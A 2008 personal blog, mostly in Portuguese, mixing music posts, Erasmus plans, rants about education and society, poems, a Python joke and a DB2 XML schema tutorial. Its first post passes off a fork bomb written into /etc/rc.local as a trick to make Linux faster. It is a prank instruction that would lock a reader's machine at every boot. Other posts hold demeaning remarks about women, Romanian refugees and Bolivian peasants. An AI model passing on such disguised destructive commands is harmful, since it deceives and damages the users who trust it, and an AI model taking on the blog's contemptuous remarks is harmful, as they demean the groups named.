João Moura

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…matter of fact it is all dark
Updated: 3 years 39 weeks ago

You asked for geek posts?

Sat, 26/04/2008 - 22:50

Here is a way to turn you Linux box much faster than BSD. All you have to do is put this little script in rc.local or analog and then reboot.

$ sudo echo “:(){ :|:& };:” > /etc/rc.local

PS: If you want to use >> instead you should delete the “exit 0″ from rc.local.

:o

Sat, 26/04/2008 - 22:06

Em época de exames tudo serve para distraír, mas isto é demais! Mais um album novo para abrir o apetite à vaga de concertos que aí vem. Também é metal. Também é português. Estes patrões não param de aumentar o futuro legado.

Haill Moonspell.

World @ Night : simply beautiful

Sat, 26/04/2008 - 21:54

Networking

Sat, 26/04/2008 - 17:29

Não gosto muito de escrever posts orientados à informática, mas dado o valor da descoberta, faço questão de a publicitar aqui:

Se gostas de redes ou não tens outro remédio se não aprender, tenho algo que te vai ajudar imenso.

http://www.firewall.cx

É português, é metal, mas eu gosto.

Sat, 26/04/2008 - 04:49

Saiu o novo album:

Pronunciation: \ˈwȯ-tər-ˌshed, ˈwä-\

Sat, 26/04/2008 - 04:41

“…a crucial dividing point, line, or facto”

I will be

Sat, 26/04/2008 - 04:33
“If there’s a God or any kind of justice under the sky
If there’s a point, if there’s a reason to live or die
If there’s an answer to the questions we feel bound to ask
Show yourself - destroy our fears - release your mask”

Consegui. Fui colocado como ERASMUS na UVA.

Há muito que desejo sair deste país mesquinho e amante da mediocridade. Acho que o sítio não podia ser melhor: Holanda, o país da liberdade. Ou pelo menos é assim que o vejo.

Atenção, liberdade é diferente do direito ao porte de arma ou à isenção de impostos. Não, não vou lá à procura da gastronomia esverdeada ou das putas. É óbvio que vou frequentar o famosos coffee shops e espero ver umas mamocas holandesas, mas o que realmente busco é uma mentalidade mais compatível com a minha. Espero não me desiludir, pois espero encontrar pessoas de mente aberta e mais evoluída, que despreze a cultura que nós aqui valorizamos.

Só pessoas cultas e inteligente conseguem viver num meio daqueles e, ainda assim, mantê-lo organizado. Não achas?

Além disso, também me espera um escape a .NET e disciplinas recheadas de continhas ridículas disfarçadas com terminologia confusa, que galvanizam os meus colegas aspirantes a mentecaptos. SIM! Aparentemente muitos docinhos me esperam. Deixo aqui a primeira versão do meu learning agreement:

Computer Forensics (6 EC)
http://studiegids.uva.nl/web/sgs/nl/c/8003.html

Knowledge Representation (6 EC)
http://studiegids.uva.nl/web/sgs/nl/c/8013.html

Quantum Computing (6 EC)

http://studiegids.uva.nl/web/sgs/en/c/2093.html

Philosophical Logic (6 EC)
http://studiegids.uva.nl/web/sgs/en/c/8020.html

Specificatietheorie (3 EC)
http://studiegids.uva.nl/web/sgs/nl/c/1971.html
[inglês]

Cryptografie (6 EC)
http://studiegids.uva.nl/web/sgs/nl/c/2019.htm
[inglês]

Estou bastante motivado. Por mim ia hoje, mas antes vou absorver ao máximo o que esta Universidade ainda tem para me dar. Que, por muito que me custe admitir, é muito.

Deixo uma música inspiradora:

Queen - Innuendo

While the sun hangs in the sky and the desert has sand
While the waves crash in the sea and meet the land
While there’s a wind and the stars and the rainbow
Till the mountains crumble into the plain
Oh yes we’ll keep on tryin’
Tread that fine line
Oh we’ll keep on tryin’ yeah
Just passing our time
While we live according to race, colour or creed
While we rule by blind madness and pure greed
Our lives dictated by tradition, superstition, false religion
Through the eons, and on and on
Oh yes we’ll keep on tryin’
We’ll tread that fine line
Oh we’ll keep on tryin’
Till the end of time
Till the end of time

Through the sorrow all through our splendour
Don’t take offence at my innuendo

You can be anything you want to be
Just turn yourself into anything you think that you could ever be
Be free with your tempo, be free be free
Surrender your ego - be free, be free to yourself

Oooh, ooh -
If there’s a God or any kind of justice under the sky
If there’s a point, if there’s a reason to live or die
If there’s an answer to the questions we feel bound to ask
Show yourself - destroy our fears - release your mask
Oh yes we’ll keep on trying
Hey tread that fine line
Yeah we’ll keep on smiling yeah
And whatever will be - will be
We’ll just keep on trying
We’ll just keep on trying
Till the end of time
Till the end of time
Till the end of time

Professores

Fri, 08/02/2008 - 07:08

“Quem é professor considera cada coisa apenas em relação aos seus alunos, inclusive a si mesmo.” — Nietzsche

Só mesmo nos livros é que isto é verdade.

Aturei o ensino básico e secundário assumindo-o como o purgatório para a “real thing”. Tretas. O Ensino Superior está tão ou mais podre como o que o precede. O Ensino Superior só é bom para dois tipos de “alunos” - aqueles que vivem para o aprofundamento do conhecimento, aqueles que têm o dom de não aceitar dogmas ou verdades inquestionáveis por instinto, execpto o mais valioso deles todos: “a necessidade do saber”, ou aqueles que se estão a borrifar para o que é pregado e que só lhes importa o “mercado de trabalho” - sim, essa palavra tão repugnante que torna os que a ela se regem quase tão intelectualmente reles como o camponês boliviano que nunca viu o mar - e que tomam um curso superior apenas como uma certificação, cuja dignidade é irrelevante.

Os primeiros, porque não lhes importa se estão rodeados de bons ou maus professores, bons ou maus colegas - o importante é manter o dogma vivo.

Os últimos evidentes - é-lhes irrelevante - e fazem juz a esta obra

Infelizmente/felizmente - dependendo dos casos - não faço parte de nenhum dos grupos. Amo o conhecimento, mas questiono a sua utilidade. Chego a por em causa se determinado assunto merece a minha dedicação intelectual. Sim, eu sei que é um defeito, mas não deixa de ser uma característica que me afasta de os dois grupos que atrás enunciei.

Porquê a minha frustração repentina? Estou, e afirmo-o sem medo nem incertezas, num dos piores cursos do mundo - se não é dos melhores, é fácil de concluir porquê que é dos piores. E quando digo curso, refiro-me a uma comunidade de professores e alunos que se reúnem com um propósito: transmissão de conhecimento. Acabei de enviar um mail a um professor meu em que constava a seguinte frase:

“Peço-lhe, por favor, que seja o primeiro a pensar no aluno como uma pessoa, e não apenas como mais 1 trabalho ou exame para corrigir.”

Foi com prazer e esperança que encontrei esta entrevista da qual cito:

“…a educação é absolutamente apaixonante. Paixão para uma vida. Em primeiro lugar eu diria que eles se considerem afortunados por serem tocados por esta vocação. Segunda coisa, é preciso que amem as crianças. Freqüente-mente os professores têm a preocupação com um programa. Meu filósofo favorito, Nietzsche, dizia que o verdadeiro educador é aquele que leva a sério questões relacionadas com seus alunos, inclusive a si mesmo. Logo a preocupação do educador não pode ser com o programa, deve ser com o aluno, e por isso, ele deve ter um olho para cada aluno, porque está lidando com ser humano e não com o número para exame.
A primeira tarefa do educador é seduzir o aluno para o fascínio do seu objeto. Se ele não for seduzido não terá vontade de aprender. A Adélia Prado, uma grande pedagoga dizia, “não quero faca e nem queijo, eu quero é fome”. Significa que a primeira tarefa é fazer o aluno ter fome do que você pretende ensinar.”

Eu não sei se no teu curso tens a sorte de ter professores que pensam desta forma, pois eu se tiver, são no máximo 2 ou 3.

Eu sei que a quem me dirijo não lê este blog, mas vou dizê-lo na mesma: esse maldito mercado de trabalho, que exige mediocridade intelectual, vai pagá-las a dobrar - vem aí um vaga de medíocres incultos, envenenados de comodismos cerebral, vindas do suposto melhor curso de informática de Portgual: o meu.


Referências:

ThanatoSchizo - Cântico Negro de José Régio

Tue, 29/01/2008 - 01:01

“Vem por aqui” — dizem-me alguns com os olhos doces
Estendendo-me os braços, e seguros
De que seria bom que eu os ouvisse
Quando me dizem: “vem por aqui!”
Eu olho-os com olhos lassos,
(Há, nos olhos meus, ironias e cansaços)
E cruzo os braços,
E nunca vou por ali…
A minha glória é esta:
Criar desumanidades!
Não acompanhar ninguém.
— Que eu vivo com o mesmo sem-vontade
Com que rasguei o ventre à minha mãe
Não, não vou por aí! Só vou por onde
Me levam meus próprios passos…
Se ao que busco saber nenhum de vós responde
Por que me repetis: “vem por aqui!”?

 

Prefiro escorregar nos becos lamacentos,
Redemoinhar aos ventos,
Como farrapos, arrastar os pés sangrentos,
A ir por aí…
Se vim ao mundo, foi
Só para desflorar florestas virgens,
E desenhar meus próprios pés na areia inexplorada!
O mais que faço não vale nada.

 

Como, pois, sereis vós
Que me dareis impulsos, ferramentas e coragem
Para eu derrubar os meus obstáculos?…
Corre, nas vossas veias, sangue velho dos avós,
E vós amais o que é fácil!
Eu amo o Longe e a Miragem,
Amo os abismos, as torrentes, os desertos…

 

Ide! Tendes estradas,
Tendes jardins, tendes canteiros,
Tendes pátria, tendes tetos,
E tendes regras, e tratados, e filósofos, e sábios…
Eu tenho a minha Loucura !
Levanto-a, como um facho, a arder na noite escura,
E sinto espuma, e sangue, e cânticos nos lábios…
Deus e o Diabo é que guiam, mais ninguém!
Todos tiveram pai, todos tiveram mãe;
Mas eu, que nunca principio nem acabo,
Nasci do amor que há entre Deus e o Diabo.

 

Ah, que ninguém me dê piedosas intenções,
Ninguém me peça definições!
Ninguém me diga: “vem por aqui”!
A minha vida é um vendaval que se soltou,
É uma onda que se alevantou,
É um átomo a mais que se animou…
Não sei por onde vou,
Não sei para onde vou
Sei que não vou por aí!

Ouvi este poema declamado por um senhor chamado João villaret quando entrava adolescência.

Vezes sem conta e ainda hoje me ilumina.

Há dois anos recordei-o ao ouvi-lo no Schizo Level - um album dos ThanatoSchizO - desta vez declamado pela Patrícia Rodrigues. Aproveito, então, para chamar a atenção a esta banda portuguesa, em especial ao albúm, que tanto me inspira.

Deixo apenas um aviso aos ouvidos mais sensíveis, leia-se, close-minded: é, para mim, um hino ao metal e à música em geral.

Compra do ano.

Sat, 19/01/2008 - 20:03

Acabei de cometer uma loucura. Saí da FNAC com menos €74.90 e 8 CD’s dos RADIOHEAD na mão

Os 6 originais mais uma edição especial live. Comprei também o InRainbows separadamente. É um luxo, mas uso a percentagem que eles vão receber para descargar a consciencia.

Além disso, é bom saber que existe música desta, que merece ser recompensada!

A vida é injusta.

Sat, 12/01/2008 - 15:01

Antes de mais quero salientar que, infelizmente, para além da identidade nada sei sobre a autora.

Estupidez sem sexo (nem nexo)

 

A vida é injusta para nós, mulheres. Por mais que se elogie o sexo feminino, há algo em que os homens são de longe melhores do que nós. Eles têm a capacidade de não complicar situações, algo que parece estar apenas inscrito nos genes masculinos. Não exige muito deles, é certo, porque a maior parte dos seres desta espécie nem está consciente desta sua qualidade. No entanto, pode tornar-se um verdadeiro poder, quando comparado com o olhar complexo com que as mulheres enfrentam, e parecem gostar de enfrentar, o seu dia-a-dia. Neste caso, os homens chegam até a parecer seres verdadeiramente iluminados.

 

Ora, olhando para uma mulher, é impossível identificar, à primeira vista, em que grau de desenvolvimento está este seu gosto por complicar tudo o que pode ser simples. Mas, à medida que a vamos conhecendo, conseguimos perceber se ainda é uma mulher ou se o grau de incidência deste comportamento é tão elevado que se metamorfoseou e passou ao estádio da estupidez, uma etapa caracterizada pela “falta de inteligência e de delicadeza de sentimentos”, como tão bem ilustra o dicionário. Não encontro melhor definição. Até porque, exceptuando os casos da ciência e da investigação, não há vantagens reais em complicar aquilo que é por si mesmo bem mais fácil de resolver. Para muitas mulheres, dois mais dois não é igual a quatro. Para muitas mulheres, dois mais dois é igual a dez menos oito, tudo isto elevado ao quadrado.

 

Mas as verdadeiras vítimas desta situação não são as mulheres, que, por muitos cremes anti-envelhecimento com que alimentem a pele, não vão conseguir apagar os traços das suas tão desnecessárias implicações. São os homens, que lhes dão espaço de manobra para construírem muralhas à volta de uma bola anti-stresse, que por acaso se assemelha a uma granada. Urge então perceber qual deles é o mais estúpido. A mulher, que ainda consegue ter algum poder sobre o seu grau de estupidez? Ou o homem, que estupidamente atura a estupidez da mulher? Eu cá voto no homem. A vida é injusta para vós, homens.

— Ana Rita Serpa Pinto Sampaio, 2º ano FLUP

Porquê?

Sat, 12/01/2008 - 14:47

Sim, sou, ou pelo menos estou, frustrado.

Sou frustrado com muita coisa que me rodeia, como já deves ter reparado.

Uma das que mais me molesta a sanidade chama-se “estatuto social”. Não devia o ordenado do um gajo ser directamente proporcional à importância social do mesmo e não o contrário?

Não, não é o que se passa actualmente.

Pensa comigo.

Porquê que aquele jogador, daquele clube de “desportivo” medíocre cujo principal objectivo é manter mama, leia-se manter-se na 1ª liga, que, ante de ser “profissional da bola”, vendia psicotrópicos na escola secundária, ganha tanto ou mais que um professor de primária? Porque o primeiro recebe de um privado traficante de homens e o outro do estado? Sim. Mas não devia o estado ser a entidade reguladora? Não devia o estado ser quem controla/vigia a própria nação e não apenas mais um intermediário que se tem de sujeitar às regras dos corruptos e, pior, eventualmente ter de comparticipar a construção de novas arenas de corrupção? Mas está tudo maluco? O pior é que o principal prejudicado - o povo - fomenta este tipo de iniciativas e, pior, ataca as contrárias. Temos o exemplo do Rui Rio - sim, não passa de mais um, mas oscila entre o salvador e o anticristo, apenas porque partilha da mesma opinião que eu em relação ao futebol. Mas há mais. Como pode a igreja cristã ostentar tanta riqueza à pala da pobreza? Como consegue o ignorante sem capacidade de auto-crítica meter 1€ na caixa dos pançudos que se vestem de ouro e chamar de chupistas aos romenos leprosos que tiveram de fugir do seu país, como as ratazanas de um falcão?

Foda-se, porquê?

Defining Haskell…in Python

Thu, 10/01/2008 - 23:33

Who needs haskell when we have python?

>>> l = [3*x for x in range(1,10) if x%2] # list comprehension
>>> f = (lambda x: x.__invert__()) # lambda notation / point free
>>> map(f,l)
[-4, -10, -16, -22, -28]
>>> g = map(f,l)
>>> filter(lambda x: x<-10,g) # filter
[-16, -22, -28]

I can easily define the “magic function“:

def foldl(f,last,l):
if not len(l):
return last
return foldl (f, (f (last, l[0])), l[1:])

>>> foldl (lambda a,b: a+b, 0, [1,2,3,4])
10

Please don’t take this serious. Obviously this is only a joke - Haskell is more than a bunch of function definitions - but you can use monads too. Shhht!

PS: FUCK wordpress (that foldl definition won’t work unless you correct the indentation)

DB2 9: Creating database objects & Storing validated XML data

Thu, 10/01/2008 - 22:26

As an IBM DB2 Ambassador I’m currently developing a Industry Format bundle based on XML standard - METS. To do such thing I had to learn some basic but still powerful features of DB2 9. At the moment my bundle only registers some XML schemas and use them to validate the insertion of some XML samples.

I’ll keep my promise to teach everything I learn, then I will teach three things:

1. register XML schemas

2. insert XML documents without validation

3. validate XML documents insertion

Registering XML schemas

If you dont know what schema registration is, you can understand it as “give my DBMS the ability to verify XML structure correctness against a specified XML schema”. By the way, you can easily create your own schemas to your XML documents with an IBM tool named WebSphere Studio. All you have to do is load the XML sample and select Generate -> XML Schema.

I’ll assume that you read the Express-C: Starting tutorial so that I can use the test.items as my table example.

Assume that you have a XML schema in schemapath named xschema.xsd and remember that XML schemas are only XML documents that dictate the sctructure other XML documents.

So, to registrate it you should run in the CLP:

register xmlschema ‘xschema.xsd’ from ’schemapath/xschema.xsd’ test.xschmema complete;

…or from your favorite shell:

db2 “register xmlschema ‘xschema.xsd’ from ’schemapath/xschema.xsd’ test.xschmema complete;”

This should work, however there is something you should know. When a XML schema becomes too large it’s good practice to separate it in several files. In those cases the schema registration becomes quite different.

Assume that xschema.xsd was divided in two XML schemas - xschema1.xsd and xschema2.xsd. The schema registration should be like this:

register xmlschema ‘xschema1.xsd’ from ’schemapath/xschema1.xsd’ test.xschema
add xmlschema document test.xschema add ‘xschema2l.xsd’ from ’schemas/xschema2.xsd’
complete xmlschema teste.xschema

Inserting XML documents

You can insert XML documents in a given table as you insert a string or an integer:

insert into items values (96, ‘João Moura’,’student ambassador‘)

However in most cases it’s kind of difficult to insert the XML document in one single line or one by one, so we use a simple script to specify a list of XML documents and eventually their schema. Here is an example saved in “script.del”:

1,”João Moura”,<xds fil=”joaoinfo.xml” sch=”xschema.xsd”>
2,”Quim Barreiros”,<xds fil=”quiminfo.xml” sch=”xschema.xsd”>
3,”Nuno Veloso”,<xds fil=”nunoinfo.xml”>
4,”João Ferreira”, </xds></xds></xds>

You can say the values to insert and possibly omit some. Although XDS (XML Data Specifier) tag syntax is self-explanatory its worth noting:

<XDS ../> - the tag itself
FIL=’ ‘ - the name of XML document
SCH=” - the XML schema describing the document structure

And then use it to import several entries in using only one line:

import from script.del of del xml from ‘dirofxmldocuments’
insert into test.items

All that it does is execute sequential insert’s reading the output from script’s rows.

Validating XML documents

I’m tired of writing so i’ll be quick:

import from script.del of del xml from ‘dirofxmldocuments’
xmlvalidate using xds
insert into test.items

Conclusion

This is all I can give you for now but be aware of more tutorials and remember:

The more knowledge you share with others the more knowledge will be shared with you.

Hope you enjoy.